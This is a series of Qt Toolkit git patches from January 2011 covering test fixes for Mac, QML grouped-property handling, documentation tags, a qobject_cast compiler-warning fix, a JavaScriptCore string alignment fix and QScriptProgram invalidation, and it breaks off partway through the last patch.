    From b65e84ab1c242116d8559aea99e46e44cefb0c1a Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Fri, 28 Jan 2011 09:13:01 +0100
    Subject: Added missing header.
    
    ---
     mkspecs/common/symbian/symbianincludes.h | 41 ++++++++++++++++++++++++++++++++
     1 file changed, 41 insertions(+)
    
    diff --git a/mkspecs/common/symbian/symbianincludes.h b/mkspecs/common/symbian/symbianincludes.h
    index 4c0ffa6..5d7f488 100644
    --- a/mkspecs/common/symbian/symbianincludes.h
    +++ b/mkspecs/common/symbian/symbianincludes.h
    @@ -1,3 +1,44 @@
    +/****************************************************************************
    +**
    +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
    +** All rights reserved.
    +** Contact: Nokia Corporation (qt-info@nokia.com)
    +**
    +** This file is part of the mkspecs of the Qt Toolkit.
    +**
    +** $QT_BEGIN_LICENSE:LGPL$
    +** No Commercial Usage
    +** This file contains pre-release code and may not be distributed.
    +** You may use this file in accordance with the terms and conditions
    +** contained in the Technology Preview License Agreement accompanying
    +** this package.
    +**
    +** GNU Lesser General Public License Usage
    +** Alternatively, this file may be used under the terms of the GNU Lesser
    +** General Public License version 2.1 as published by the Free Software
    +** Foundation and appearing in the file LICENSE.LGPL included in the
    +** packaging of this file.  Please review the following information to
    +** ensure the GNU Lesser General Public License version 2.1 requirements
    +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
    +**
    +** In addition, as a special exception, Nokia gives you certain additional
    +** rights.  These rights are described in the Nokia Qt LGPL Exception
    +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
    +**
    +** If you have questions regarding the use of this file, please contact
    +** Nokia at qt-info@nokia.com.
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +** $QT_END_LICENSE$
    +**
    +****************************************************************************/
    +
     #ifndef __PRODUCT_INCLUDE__
     #  ifdef __QT_PRODUCT_INCLUDE_IS_LOWERCASE__
     #    define __PRODUCT_INCLUDE__ 
    -- 
    cgit v0.12
    
    
    From c9d26aa99c8f2279b54e6bb7ea68f30608e7e02a Mon Sep 17 00:00:00 2001
    From: Richard Moe Gustavsen 
    Date: Fri, 28 Jan 2011 09:19:58 +0100
    Subject: Cocoa: fix qgraphicsview autotest
    
    Moving the cursor to the corner of the desktop (0, 0) will typically
    trigger things to happend in the OS, at least on Mac (spaces, synergy etc).
    So I changed those tests to move it to (1, 1) instead. The reason to move
    it to (0, 0) was just to get the mouse away from the window anyway.
    
    And second, it takes some time after using QCursor::setPos on Mac
    before the events from the move actually arrive. And many tests
    that use this function relies on this. So I introduces a little
    delay. This alone will fix a couble of tests.
    ---
     src/testlib/qtestmouse.h                       | 4 ++++
     tests/auto/qgraphicsview/tst_qgraphicsview.cpp | 4 ++--
     2 files changed, 6 insertions(+), 2 deletions(-)
    
    diff --git a/src/testlib/qtestmouse.h b/src/testlib/qtestmouse.h
    index 35752b0..5abb019 100644
    --- a/src/testlib/qtestmouse.h
    +++ b/src/testlib/qtestmouse.h
    @@ -107,7 +107,11 @@ namespace QTest
                     break;
                 case MouseMove:
                     QCursor::setPos(widget->mapToGlobal(pos));
    +#ifdef QT_MAC_USE_COCOA
    +                QTest::qWait(20);
    +#else
                     qApp->processEvents();
    +#endif
                     return;
                 default:
                     QTEST_ASSERT(false);
    diff --git a/tests/auto/qgraphicsview/tst_qgraphicsview.cpp b/tests/auto/qgraphicsview/tst_qgraphicsview.cpp
    index aaff51e..f8fc5d0 100644
    --- a/tests/auto/qgraphicsview/tst_qgraphicsview.cpp
    +++ b/tests/auto/qgraphicsview/tst_qgraphicsview.cpp
    @@ -2967,7 +2967,7 @@ protected:
     void tst_QGraphicsView::task186827_deleteReplayedItem()
     {
         // make sure the mouse is not over the window, causing spontaneous mouse moves
    -    QCursor::setPos(0, 0);
    +    QCursor::setPos(1, 1);
     
         QGraphicsScene scene;
         scene.addRect(0, 0, 50, 50);
    @@ -4504,7 +4504,7 @@ void tst_QGraphicsView::hoverLeave()
         QVERIFY(item->receivedEnterEvent);
         QCOMPARE(item->enterWidget, view.viewport());
     
    -    QCursor::setPos(0,0);
    +    QCursor::setPos(1,1);
         QTest::qWait(200);
         QVERIFY(item->receivedLeaveEvent);
         QCOMPARE(item->leaveWidget, view.viewport());
    -- 
    cgit v0.12
    
    
    From c22ec835589a2484059bcb94b5536cf3b9a7f69f Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Fri, 28 Jan 2011 18:18:38 +1000
    Subject: Allow functions to be passed in as values for grouped properties
    
    Using QDeclarativeProperty::write() works for grouped properties but
    stops functions values from being passed in, and using
    QScriptValue::setProperty() on the object being created allows functions
    to be passed in but doesn't work for grouped properties. This fix
    walks down the tree for grouped properties to find the property that
    should be set so that functions can be set for grouped property values.
    
    Reviewed-by: Aaron Kennedy
    ---
     src/declarative/qml/qdeclarativecomponent.cpp           | 17 ++++++++++++++---
     .../data/createObjectWithScript.qml                     |  9 +++++++--
     .../qdeclarativecomponent/tst_qdeclarativecomponent.cpp |  3 ++-
     3 files changed, 23 insertions(+), 6 deletions(-)
    
    diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp
    index 06bf3fd..5840f70 100644
    --- a/src/declarative/qml/qdeclarativecomponent.cpp
    +++ b/src/declarative/qml/qdeclarativecomponent.cpp
    @@ -715,10 +715,21 @@ QScriptValue QDeclarativeComponentPrivate::createObject(QObject *publicParent, c
             QScriptValueIterator it(valuemap);
             while (it.hasNext()) {
                 it.next();
    -            if (it.value().isFunction()) { // To allow property binding from javascript to work
    -                newObject.setProperty(it.name(), it.value());
    +            QScriptValue prop = newObject;
    +            QString propName = it.name();
    +            int index = propName.indexOf(QLatin1Char('.'));
    +            if (index > 0) {
    +                QString subProp = propName;
    +                int lastIndex = 0;
    +                while (index > 0) {
    +                    subProp = propName.mid(lastIndex, index - lastIndex);
    +                    prop = prop.property(subProp);
    +                    lastIndex = index + 1;
    +                    index = propName.indexOf(QLatin1Char('.'), index + 1);
    +                }
    +                prop.setProperty(propName.mid(propName.lastIndexOf(QLatin1Char('.')) + 1), it.value());
                 } else {
    -                QDeclarativeProperty::write(ret,it.name(),it.value().toVariant());
    +                newObject.setProperty(propName, it.value());
                 }
             }
         }
    diff --git a/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    index 2ce76ed..0da3bda 100644
    --- a/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    +++ b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    @@ -8,7 +8,12 @@ Item{
         property QtObject bindingTestObject : null
         property QtObject bindingThisTestObject : null
     
    -    Component{id: a; Rectangle{} }
    +    Component{
    +        id: a
    +        Rectangle {
    +            property Rectangle innerRect: Rectangle { border.width: 20 }
    +        }
    +    }
         Component{
             id: b
             Item{
    @@ -29,7 +34,7 @@ Item{
         }
     
         Component.onCompleted: {
    -        root.declarativerectangle = a.createObject(root, {"x":17,"y":17, "color":"white", "border.width":3});
    +        root.declarativerectangle = a.createObject(root, {"x":17,"y":17, "color":"white", "border.width":3, "innerRect.border.width": 20});
             root.declarativeitem = b.createObject(root, {"x":17,"y":17,"testBool":true,"testInt":17,"testObject":root});
     
             root.bindingTestObject = c.createObject(root, {'testValue': (function(){return width * 3}) })  // use root.width
    diff --git a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    index 7b7b392..4340fce 100644
    --- a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    +++ b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    @@ -137,12 +137,13 @@ void tst_qdeclarativecomponent::qmlCreateObjectWithProperties()
         QCOMPARE(testObject1->property("y").value(), 17);
         QCOMPARE(testObject1->property("color").value(), QColor(255,255,255));
         QCOMPARE(QDeclarativeProperty::read(testObject1,"border.width").toInt(), 3);
    +    QCOMPARE(QDeclarativeProperty::read(testObject1,"innerRect.border.width").toInt(), 20);
         delete testObject1;
     
         QObject *testObject2 = object->property("declarativeitem").value();
         QVERIFY(testObject2);
         QVERIFY(testObject2->parent() == object);
    -    QCOMPARE(testObject2->metaObject()->className(), "QDeclarativeItem_QML_2");
    +    //QCOMPARE(testObject2->metaObject()->className(), "QDeclarativeItem_QML_2");
         QCOMPARE(testObject2->property("x").value(), 17);
         QCOMPARE(testObject2->property("y").value(), 17);
         QCOMPARE(testObject2->property("testBool").value(), true);
    -- 
    cgit v0.12
    
    
    From 44e358047d60aa31f568a120a97dfe36f150d7e0 Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Fri, 28 Jan 2011 18:28:02 +1000
    Subject: expect fail for some PinchArea tests on mac
    
    ---
     .../qdeclarativepincharea/tst_qdeclarativepincharea.cpp   | 15 +++++++++++++++
     1 file changed, 15 insertions(+)
    
    diff --git a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    index 6683db2..b7e7a99 100644
    --- a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    +++ b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    @@ -292,9 +292,18 @@ void tst_QDeclarativePinchArea::pan()
         p2 += QPoint(10,10);
         QTest::touchEvent(vp).move(0, p1).move(1, p2);
     
    +#ifdef Q_OS_MAC
    +    QEXPECT_FAIL("", "todo mac", Continue);
    +#endif
         QCOMPARE(root->property("center").toPointF(), QPointF(60, 60)); // blackrect is at 50,50
     
    +#ifdef Q_OS_MAC
    +    QEXPECT_FAIL("", "todo mac", Continue);
    +#endif
         QCOMPARE(blackRect->x(), 60.0);
    +#ifdef Q_OS_MAC
    +    QEXPECT_FAIL("", "todo mac", Continue);
    +#endif
         QCOMPARE(blackRect->y(), 60.0);
     
         // pan x beyond bound
    @@ -302,7 +311,13 @@ void tst_QDeclarativePinchArea::pan()
         p2 += QPoint(100,100);
         QTest::touchEvent(vp).move(0, p1).move(1, p2);
     
    +#ifdef Q_OS_MAC
    +    QEXPECT_FAIL("", "todo mac", Continue);
    +#endif
         QCOMPARE(blackRect->x(), 140.0);
    +#ifdef Q_OS_MAC
    +    QEXPECT_FAIL("", "todo mac", Continue);
    +#endif
         QCOMPARE(blackRect->y(), 160.0);
     
         QTest::touchEvent(vp).release(0, p1).release(1, p2);
    -- 
    cgit v0.12
    
    
    From 88b143ff819751570e83d2de601630024a9c9989 Mon Sep 17 00:00:00 2001
    From: Morten Engvoldsen 
    Date: Fri, 28 Jan 2011 10:32:47 +0100
    Subject: Doc: including missing pages in overviews.
    
    Task-number: QTBUG-15357
    ---
     doc/src/frameworks-technologies/richtext.qdoc | 1 +
     doc/src/painting-and-printing/coordsys.qdoc   | 1 +
     doc/src/widgets-and-layouts/stylesheet.qdoc   | 1 +
     3 files changed, 3 insertions(+)
    
    diff --git a/doc/src/frameworks-technologies/richtext.qdoc b/doc/src/frameworks-technologies/richtext.qdoc
    index 7a5a6a6..089f84d 100644
    --- a/doc/src/frameworks-technologies/richtext.qdoc
    +++ b/doc/src/frameworks-technologies/richtext.qdoc
    @@ -37,6 +37,7 @@
     
         \ingroup frameworks-technologies
         \ingroup qt-basic-concepts
    +	\ingroup best-practices
     	
         \nextpage Rich Text Document Structure
     
    diff --git a/doc/src/painting-and-printing/coordsys.qdoc b/doc/src/painting-and-printing/coordsys.qdoc
    index a8febae..252159e 100644
    --- a/doc/src/painting-and-printing/coordsys.qdoc
    +++ b/doc/src/painting-and-printing/coordsys.qdoc
    @@ -29,6 +29,7 @@
         \page coordsys.html
         \title Coordinate System
         \ingroup qt-graphics
    +	\ingroup best-practices
         \brief Information about the coordinate system used by the paint
         system.
     
    diff --git a/doc/src/widgets-and-layouts/stylesheet.qdoc b/doc/src/widgets-and-layouts/stylesheet.qdoc
    index 60d8cbd..be845c4 100644
    --- a/doc/src/widgets-and-layouts/stylesheet.qdoc
    +++ b/doc/src/widgets-and-layouts/stylesheet.qdoc
    @@ -32,6 +32,7 @@
     
         \ingroup frameworks-technologies
         \ingroup qt-basic-concepts
    +	\ingroup qt-gui-concepts
     
         \previouspage {Styles and Style Aware Widgets}{Styles}
         \contentspage Widgets and Layouts
    -- 
    cgit v0.12
    
    
    From 5e3c4b6a82df640c15778af72384c6b27f8860b7 Mon Sep 17 00:00:00 2001
    From: Olivier Goffart 
    Date: Wed, 19 Jan 2011 16:19:51 +0100
    Subject: Fix warning in sun compiler
    
    Warning, nullref: Initializing const myClass& to a NULL value.
    
    Patch inspired by the one in QTBUG-16755
    
    Task-number: QTBUG-16755
    ---
     src/corelib/kernel/qobject.h | 8 ++++----
     1 file changed, 4 insertions(+), 4 deletions(-)
    
    diff --git a/src/corelib/kernel/qobject.h b/src/corelib/kernel/qobject.h
    index 63fdf76..bd3ef3c 100644
    --- a/src/corelib/kernel/qobject.h
    +++ b/src/corelib/kernel/qobject.h
    @@ -370,18 +370,18 @@ template 
     inline T qobject_cast(QObject *object)
     {
     #if !defined(QT_NO_QOBJECT_CHECK)
    -    reinterpret_cast(0)->qt_check_for_QOBJECT_macro(*reinterpret_cast(object));
    +    reinterpret_cast(object)->qt_check_for_QOBJECT_macro(*reinterpret_cast(object));
     #endif
    -    return static_cast(reinterpret_cast(0)->staticMetaObject.cast(object));
    +    return static_cast(reinterpret_cast(object)->staticMetaObject.cast(object));
     }
     
     template 
     inline T qobject_cast(const QObject *object)
     {
     #if !defined(QT_NO_QOBJECT_CHECK)
    -    reinterpret_cast(0)->qt_check_for_QOBJECT_macro(*reinterpret_cast(const_cast(object)));
    +    reinterpret_cast(object)->qt_check_for_QOBJECT_macro(*reinterpret_cast(const_cast(object)));
     #endif
    -    return static_cast(reinterpret_cast(0)->staticMetaObject.cast(object));
    +    return static_cast(reinterpret_cast(object)->staticMetaObject.cast(object));
     }
     
     
    -- 
    cgit v0.12
    
    
    From ead20f4c1edc2e1c5c39f47bf7c9e56600d6362b Mon Sep 17 00:00:00 2001
    From: Kent Hansen 
    Date: Thu, 27 Jan 2011 16:29:52 +0100
    Subject: Fix alignment issue causing crash in QtScript/JavaScriptCore
    
    When creating a substring, JSC::UStringImpl required that the
    base string pointer was 8-byte aligned. However, on platforms
    where FastMalloc isn't enabled (such as Symbian), it's possible
    that the system malloc() returns a pointer that is only 4-byte
    aligned. (On Symbian, this can happen if the argument to malloc()
    itself isn't a multiple of 8.)
    
    Cherry-picked http://trac.webkit.org/changeset/54743 from WebKit
    trunk, which fixes this issue. (The commit happened shortly after
    we rebased QtScript/JSC for 4.7, so it applies cleanly to our copy.)
    
    Task-number: QTBUG-16828
    Reviewed-by: Simon Hausmann
    ---
     .../javascriptcore/JavaScriptCore/ChangeLog        |  25 +++++
     .../JavaScriptCore/runtime/UStringImpl.cpp         |  14 +--
     .../JavaScriptCore/runtime/UStringImpl.h           | 117 ++++++++-------------
     src/3rdparty/javascriptcore/VERSION                |   4 +-
     4 files changed, 76 insertions(+), 84 deletions(-)
    
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
    index c2b1155..9cbf0c1 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
    @@ -358,6 +358,31 @@
     
             * wtf/AlwaysInline.h:
     
    +2010-02-12  Gavin Barraclough  
    +
    +        Reviewed by Darin Adler.
    +
    +        https://bugs.webkit.org/show_bug.cgi?id=33731
    +        Many false leaks in release builds due to PtrAndFlags
    +
    +        Remove UntypedPtrAndBitfield (similar to PtrAndFlags) in UStringImpl,
    +        and steal bits from the refCount instead.
    +
    +        * runtime/UStringImpl.cpp:
    +        (JSC::UStringImpl::baseSharedBuffer):
    +        (JSC::UStringImpl::~UStringImpl):
    +        * runtime/UStringImpl.h:
    +        (JSC::UStringImpl::cost):
    +        (JSC::UStringImpl::isIdentifier):
    +        (JSC::UStringImpl::setIsIdentifier):
    +        (JSC::UStringImpl::ref):
    +        (JSC::UStringImpl::deref):
    +        (JSC::UStringImpl::UStringImpl):
    +        (JSC::UStringImpl::bufferOwnerString):
    +        (JSC::UStringImpl::bufferOwnership):
    +        (JSC::UStringImpl::isStatic):
    +        (JSC::UStringImpl::):
    +
     2010-02-12  Kwang Yul Seo  
     
             Reviewed by Adam Barth.
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.cpp
    index 4b0d1c9..4fde49e 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.cpp
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.cpp
    @@ -38,12 +38,14 @@ namespace JSC {
     SharedUChar* UStringImpl::baseSharedBuffer()
     {
         ASSERT((bufferOwnership() == BufferShared)
    -        || ((bufferOwnership() == BufferOwned) && !m_dataBuffer.asPtr()));
    +        || ((bufferOwnership() == BufferOwned) && !m_buffer));
     
    -    if (bufferOwnership() != BufferShared)
    -        m_dataBuffer = UntypedPtrAndBitfield(SharedUChar::create(new OwnFastMallocPtr(m_data)).releaseRef(), BufferShared);
    +    if (bufferOwnership() != BufferShared) {
    +        m_refCountAndFlags = (m_refCountAndFlags & ~s_refCountMaskBufferOwnership) | BufferShared;
    +        m_bufferShared = SharedUChar::create(new OwnFastMallocPtr(m_data)).releaseRef();
    +    }
     
    -    return m_dataBuffer.asPtr();
    +    return m_bufferShared;
     }
     
     SharedUChar* UStringImpl::sharedBuffer()
    @@ -71,10 +73,10 @@ UStringImpl::~UStringImpl()
             if (bufferOwnership() == BufferOwned)
                 fastFree(m_data);
             else if (bufferOwnership() == BufferSubstring)
    -            m_dataBuffer.asPtr()->deref();
    +            m_bufferSubstring->deref();
             else {
                 ASSERT(bufferOwnership() == BufferShared);
    -            m_dataBuffer.asPtr()->deref();
    +            m_bufferShared->deref();
             }
         }
     }
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.h b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.h
    index 4e1ddc7..e6d1a8a 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.h
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.h
    @@ -40,48 +40,6 @@ class IdentifierTable;
       
     typedef CrossThreadRefCounted > SharedUChar;
     
    -class UntypedPtrAndBitfield {
    -public:
    -    UntypedPtrAndBitfield() {}
    -
    -    UntypedPtrAndBitfield(void* ptrValue, uintptr_t bitValue)
    -        : m_value(reinterpret_cast(ptrValue) | bitValue)
    -#ifndef NDEBUG
    -        , m_leaksPtr(ptrValue)
    -#endif
    -    {
    -        ASSERT(ptrValue == asPtr());
    -        ASSERT((*this & ~s_alignmentMask) == bitValue);
    -    }
    -
    -    template
    -    T asPtr() const { return reinterpret_cast(m_value & s_alignmentMask); }
    -
    -    UntypedPtrAndBitfield& operator&=(uintptr_t bits)
    -    {
    -        m_value &= bits | s_alignmentMask;
    -        return *this;
    -    }
    -
    -    UntypedPtrAndBitfield& operator|=(uintptr_t bits)
    -    {
    -        m_value |= bits & ~s_alignmentMask;
    -        return *this;
    -    }
    -
    -    uintptr_t operator&(uintptr_t mask) const
    -    {
    -        return m_value & mask & ~s_alignmentMask;
    -    }
    -
    -private:
    -    static const uintptr_t s_alignmentMask = ~static_cast(0x7);
    -    uintptr_t m_value;
    -#ifndef NDEBUG
    -        void* m_leaksPtr; // Only used to allow tools like leaks on OSX to detect that the memory is referenced.
    -#endif
    -};
    -
     class UStringImpl : Noncopyable {
     public:
         template
    @@ -151,21 +109,27 @@ public:
         {
             // For substrings, return the cost of the base string.
             if (bufferOwnership() == BufferSubstring)
    -            return m_dataBuffer.asPtr()->cost();
    +            return m_bufferSubstring->cost();
     
    -        if (m_dataBuffer & s_reportedCostBit)
    +        if (m_refCountAndFlags & s_refCountFlagHasReportedCost)
                 return 0;
    -        m_dataBuffer |= s_reportedCostBit;
    +        m_refCountAndFlags |= s_refCountFlagHasReportedCost;
             return m_length;
         }
         unsigned hash() const { if (!m_hash) m_hash = computeHash(data(), m_length); return m_hash; }
         unsigned existingHash() const { ASSERT(m_hash); return m_hash; } // fast path for Identifiers
         void setHash(unsigned hash) { ASSERT(hash == computeHash(data(), m_length)); m_hash = hash; } // fast path for Identifiers
    -    bool isIdentifier() const { return m_isIdentifier; }
    -    void setIsIdentifier(bool isIdentifier) { m_isIdentifier = isIdentifier; }
    +    bool isIdentifier() const { return m_refCountAndFlags & s_refCountFlagIsIdentifier; }
    +    void setIsIdentifier(bool isIdentifier)
    +    {
    +        if (isIdentifier)
    +            m_refCountAndFlags |= s_refCountFlagIsIdentifier;
    +        else
    +            m_refCountAndFlags &= ~s_refCountFlagIsIdentifier;
    +    }
     
    -    UStringImpl* ref() { m_refCount += s_refCountIncrement; return this; }
    -    ALWAYS_INLINE void deref() { if (!(m_refCount -= s_refCountIncrement)) delete this; }
    +    UStringImpl* ref() { m_refCountAndFlags += s_refCountIncrement; return this; }
    +    ALWAYS_INLINE void deref() { m_refCountAndFlags -= s_refCountIncrement; if (!(m_refCountAndFlags & s_refCountMask)) delete this; }
     
         static void copyChars(UChar* destination, const UChar* source, unsigned numCharacters)
         {
    @@ -205,11 +169,10 @@ private:
         // Used to construct normal strings with an internal or external buffer.
         UStringImpl(UChar* data, int length, BufferOwnership ownership)
             : m_data(data)
    +        , m_buffer(0)
             , m_length(length)
    -        , m_refCount(s_refCountIncrement)
    +        , m_refCountAndFlags(s_refCountIncrement | ownership)
             , m_hash(0)
    -        , m_isIdentifier(false)
    -        , m_dataBuffer(0, ownership)
         {
             ASSERT((ownership == BufferInternal) || (ownership == BufferOwned));
             checkConsistency();
    @@ -221,11 +184,10 @@ private:
         enum StaticStringConstructType { ConstructStaticString };
         UStringImpl(UChar* data, int length, StaticStringConstructType)
             : m_data(data)
    +        , m_buffer(0)
             , m_length(length)
    -        , m_refCount(s_staticRefCountInitialValue)
    +        , m_refCountAndFlags(s_refCountFlagStatic | BufferOwned)
             , m_hash(0)
    -        , m_isIdentifier(false)
    -        , m_dataBuffer(0, BufferOwned)
         {
             checkConsistency();
         }
    @@ -233,28 +195,26 @@ private:
         // Used to create new strings that are a substring of an existing string.
         UStringImpl(UChar* data, int length, PassRefPtr base)
             : m_data(data)
    +        , m_bufferSubstring(base.releaseRef())
             , m_length(length)
    -        , m_refCount(s_refCountIncrement)
    +        , m_refCountAndFlags(s_refCountIncrement | BufferSubstring)
             , m_hash(0)
    -        , m_isIdentifier(false)
    -        , m_dataBuffer(base.releaseRef(), BufferSubstring)
         {
             // Do use static strings as a base for substrings; UntypedPtrAndBitfield assumes
             // that all pointers will be at least 8-byte aligned, we cannot guarantee that of
             // UStringImpls that are not heap allocated.
    -        ASSERT(m_dataBuffer.asPtr()->size());
    -        ASSERT(!m_dataBuffer.asPtr()->isStatic());
    +        ASSERT(m_bufferSubstring->size());
    +        ASSERT(!m_bufferSubstring->isStatic());
             checkConsistency();
         }
     
         // Used to construct new strings sharing an existing shared buffer.
         UStringImpl(UChar* data, int length, PassRefPtr sharedBuffer)
             : m_data(data)
    +        , m_bufferShared(sharedBuffer.releaseRef())
             , m_length(length)
    -        , m_refCount(s_refCountIncrement)
    +        , m_refCountAndFlags(s_refCountIncrement | BufferShared)
             , m_hash(0)
    -        , m_isIdentifier(false)
    -        , m_dataBuffer(sharedBuffer.releaseRef(), BufferShared)
         {
             checkConsistency();
         }
    @@ -277,26 +237,31 @@ private:
         // This number must be at least 2 to avoid sharing empty, null as well as 1 character strings from SmallStrings.
         static const int s_minLengthToShare = 10;
         static const unsigned s_copyCharsInlineCutOff = 20;
    -    static const uintptr_t s_bufferOwnershipMask = 3;
    -    static const uintptr_t s_reportedCostBit = 4;
         // We initialize and increment/decrement the refCount for all normal (non-static) strings by the value 2.
         // We initialize static strings with an odd number (specifically, 1), such that the refCount cannot reach zero.
    -    static const int s_refCountIncrement = 2;
    -    static const int s_staticRefCountInitialValue = 1;
    -
    -    UStringImpl* bufferOwnerString() { return (bufferOwnership() == BufferSubstring) ? m_dataBuffer.asPtr() :  this; }
    -    const UStringImpl* bufferOwnerString() const { return (bufferOwnership() == BufferSubstring) ? m_dataBuffer.asPtr() :  this; }
    +    static const unsigned s_refCountMask = 0xFFFFFFF0;
    +    static const int s_refCountIncrement = 0x20;
    +    static const int s_refCountFlagStatic = 0x10;
    +    static const unsigned s_refCountFlagHasReportedCost = 0x8;
    +    static const unsigned s_refCountFlagIsIdentifier = 0x4;
    +    static const unsigned s_refCountMaskBufferOwnership = 0x3;
    +
    +    UStringImpl* bufferOwnerString() { return (bufferOwnership() == BufferSubstring) ? m_bufferSubstring :  this; }
    +    const UStringImpl* bufferOwnerString() const { return (bufferOwnership() == BufferSubstring) ? m_bufferSubstring :  this; }
         SharedUChar* baseSharedBuffer();
    -    unsigned bufferOwnership() const { return m_dataBuffer & s_bufferOwnershipMask; }
    -    bool isStatic() const { return m_refCount & 1; }
    +    unsigned bufferOwnership() const { return m_refCountAndFlags & s_refCountMaskBufferOwnership; }
    +    bool isStatic() const { return m_refCountAndFlags & s_refCountFlagStatic; }
     
         // unshared data
         UChar* m_data;
    +    union {
    +        void* m_buffer;
    +        UStringImpl* m_bufferSubstring;
    +        SharedUChar* m_bufferShared;
    +    };
         int m_length;
    -    unsigned m_refCount;
    -    mutable unsigned m_hash : 31;
    -    mutable unsigned m_isIdentifier : 1;
    -    UntypedPtrAndBitfield m_dataBuffer;
    +    unsigned m_refCountAndFlags;
    +    mutable unsigned m_hash;
     
         JS_EXPORTDATA static UStringImpl* s_null;
         JS_EXPORTDATA static UStringImpl* s_empty;
    diff --git a/src/3rdparty/javascriptcore/VERSION b/src/3rdparty/javascriptcore/VERSION
    index b4744b7..13943b2 100644
    --- a/src/3rdparty/javascriptcore/VERSION
    +++ b/src/3rdparty/javascriptcore/VERSION
    @@ -4,8 +4,8 @@ This is a snapshot of JavaScriptCore from
     
     The commit imported was from the
     
    -        javascriptcore-snapshot-24012011 branch/tag
    +        javascriptcore-snapshot-27012011 branch/tag
     
     and has the sha1 checksum
     
    -        d143bde5ae8cff229aebd43487a2fce5e713e990
    +        3ab0f621048fbeb480b687a28ed31d92d8506150
    -- 
    cgit v0.12
    
    
    From b127b1036ec75c625920a6c029b64a95e3702bf9 Mon Sep 17 00:00:00 2001
    From: Kent Hansen 
    Date: Fri, 28 Jan 2011 10:10:31 +0100
    Subject: Invalidate QScriptPrograms when engine is destroyed
    
    If the engine is destroyed before the program, the program
    must be invalidated; otherwise the program destructor will
    access a stale engine pointer, which can cause a crash
    (it crashes on Symbian, but "only" gives a Valgrind warning
    on Linux for our autotests).
    
    We need to keep track of all associated programs, just like
    we already do for values and strings. This fix follows the
    exact same pattern, but uses a QSet to keep the patch minimal.
    
    No new tests, but the evaluateProgram() test runs successfully
    on Symbian now, and there are no more Valgrind warnings.
    
    Task-number: QTBUG-16987
    Reviewed-by: Olivier Goffart
    ---
     src/script/api/qscriptengine.cpp  |  9 +++++++++
     src/script/api/qscriptengine_p.h  | 18 ++++++++++++++++++
     src/script/api/qscriptprogram.cpp | 21 ++++++++++++++-------
     src/script/api/qscriptprogram_p.h |  1 +
     4 files changed, 42 insertions(+), 7 deletions(-)
    
    diff --git a/src/script/api/qscriptengine.cpp b/src/script/api/qscriptengine.cpp
    index 9e338d4..54039c0 100644
    --- a/src/script/api/qscriptengine.cpp
    +++ b/src/script/api/qscriptengine.cpp
    @@ -1022,6 +1022,7 @@ QScriptEnginePrivate::~QScriptEnginePrivate()
         while (!ownedAgents.isEmpty())
             delete ownedAgents.takeFirst();
     
    +    detachAllRegisteredScriptPrograms();
         detachAllRegisteredScriptValues();
         detachAllRegisteredScriptStrings();
         qDeleteAll(m_qobjectData);
    @@ -1576,6 +1577,14 @@ bool QScriptEnginePrivate::scriptDisconnect(JSC::JSValue signal, JSC::JSValue re
     
     #endif
     
    +void QScriptEnginePrivate::detachAllRegisteredScriptPrograms()
    +{
    +    QSet::const_iterator it;
    +    for (it = registeredScriptPrograms.constBegin(); it != registeredScriptPrograms.constEnd(); ++it)
    +        (*it)->detachFromEngine();
    +    registeredScriptPrograms.clear();
    +}
    +
     void QScriptEnginePrivate::detachAllRegisteredScriptValues()
     {
         QScriptValuePrivate *it;
    diff --git a/src/script/api/qscriptengine_p.h b/src/script/api/qscriptengine_p.h
    index 05a8901..f8144e9 100644
    --- a/src/script/api/qscriptengine_p.h
    +++ b/src/script/api/qscriptengine_p.h
    @@ -87,6 +87,7 @@ class QScriptEngineAgent;
     class QScriptEnginePrivate;
     class QScriptSyntaxCheckResult;
     class QScriptEngine;
    +class QScriptProgramPrivate;
     
     namespace QScript
     {
    @@ -273,6 +274,10 @@ public:
         static QScriptSyntaxCheckResult checkSyntax(const QString &program);
         static bool canEvaluate(const QString &program);
     
    +    inline void registerScriptProgram(QScriptProgramPrivate *program);
    +    inline void unregisterScriptProgram(QScriptProgramPrivate *program);
    +    void detachAllRegisteredScriptPrograms();
    +
         inline QScriptValuePrivate *allocateScriptValuePrivate(size_t);
         inline void freeScriptValuePrivate(QScriptValuePrivate *p);
     
    @@ -368,6 +373,7 @@ public:
         static const int maxFreeScriptValues = 256;
         int freeScriptValuesCount;
         QScriptStringPrivate *registeredScriptStrings;
    +    QSet registeredScriptPrograms;
